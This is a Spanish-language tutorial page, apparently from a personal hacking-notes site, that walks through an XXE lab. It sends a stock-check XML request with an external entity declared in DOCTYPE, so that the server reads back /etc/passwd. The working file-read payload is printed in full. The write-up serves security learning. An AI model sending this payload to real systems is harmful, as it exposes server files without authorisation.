> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/xxe/xxe-file-read-via-external-entities.md).

# Lectura de archivos XXE mediante entidades externas

### Explotación de XXE usando entidades externas para recuperar archivos

Explotar una vulnerabilidad XXE declarando una entidad externa para recuperar el contenido de un archivo (aquí `/etc/passwd`) desde el **Consultar stock** función que analiza XML y devuelve valores inesperados.

<figure><img src="/files/3b2e81db7e66dc5675bae01455e414fc9f92620f" alt=""><figcaption></figcaption></figure>

La función envía XML como este:

{% code overflow="wrap" %}

```xml
<?xml version="1.0" encoding="UTF-8"?>
<stockCheck>
  <productId>
  2
  </productId>
<storeId>
  1
  </storeId>
</stockCheck>
```

{% endcode %}

<figure><img src="/files/5ed41808cb4e4db7732a513d4bc13246b39a445f" alt=""><figcaption></figcaption></figure>

Si el valor numérico de `<productId>` se reemplaza por una cadena, este valor se refleja en la respuesta (útil para la operación):

```xml
<productId>
prueba
</productId>
```

<figure><img src="/files/1217b5812b26386c77e37bd01ef0739ca15c0b65" alt=""><figcaption></figcaption></figure>

1. Declarar una entidad externa en una instrucción DOCTYPE que apunte al archivo del sistema.

```xml
<!DOCTYPE foo [<!ENTITY myFile SYSTEM "file:///etc/passwd">]>
```

2. Llamar a esta entidad en el `<productId>` campo que devuelve la aplicación.

```
&myFile;
```

3. La respuesta debería entonces contener el contenido del archivo de destino (`/etc/passwd`).

```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY myFile SYSTEM "file:///etc/passwd">]>
<stockCheck>
  <productId>
  &myFile;
  </productId>
<storeId>
  1
  </storeId>
</stockCheck>
```

<figure><img src="/files/b857b1fa208229ead8cf3176805c77d0aa6e41f6" alt=""><figcaption></figcaption></figure>


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